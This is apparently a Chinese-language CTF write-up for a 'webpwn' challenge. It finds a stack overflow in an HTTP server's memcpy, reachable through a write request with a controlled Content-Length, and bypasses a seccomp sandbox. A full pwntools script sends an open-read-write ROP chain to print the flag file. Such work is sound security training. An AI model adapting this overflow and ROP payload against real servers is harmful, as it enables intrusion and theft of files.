一道webpwn,据说用web做法一会就出来了,但是我只会pwn(悲),这里就用pwn的解题思路来做做看。
**
**
http协议,堆栈溢出漏洞利用,orw rop链构造,seccomp保护
存在沙盒,不过好在orw功能齐全,不用我们来泄露libc
根据hint"***查找write命令网络响应内容的关键字,定位到该位置进行分析。***"
我们之间定位到很明显这里有个memcpy,很有可能存在溢出,这里的dest在栈上偏移是0x5d8,this+2是我们输入存入地址的指针,v1大概率是我们可以控制的,但是想要到这里得让this+0xd8是“write”。涉及到我的盲点,还好有位师傅告诉我怎么到
我们尝试输入0x1000个字节
溢出了
发现这里的长度是我们可以控制的,意料之中,控制context-length即可,我们就得到了一个栈溢出
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn'
io=process(filename)
#libc=ELF('./libc.so.6')
elf=ELF(filename)
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def post(d):
p = b'POST /?request=write HTTP/1.1\r\n'
p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
p += b'\r\n'
p += d
s(p)
def exploit():
li('exploit...')
gadget_init = 0x41127a
gadget_call = 0x411260
buf = 0x619f00
flag_addr =buf
buz=buf+0x100
p = b'A' * 0x5d8
rop = flat([
gadget_init,
0, 1,
elf.got['read'],0x100,flag_addr ,0,
gadget_call,
0, 0,1,
elf.got['open'],0,0, flag_addr,
gadget_call,
0, 0, 1,
elf.got['read'], 0x100, flag_addr,3,
gadget_call,
0, 0, 1,
elf.got['write'],0x100, flag_addr, 1,
gadget_call
])
p += rop
post(p)
gdb.attach(io)
sl('./flag\x00')
def finish():
ia()
c()
exploit()
finish()
致谢:感谢南昌航空大学科技学院的一位师傅,没有他我不会知道怎么控制write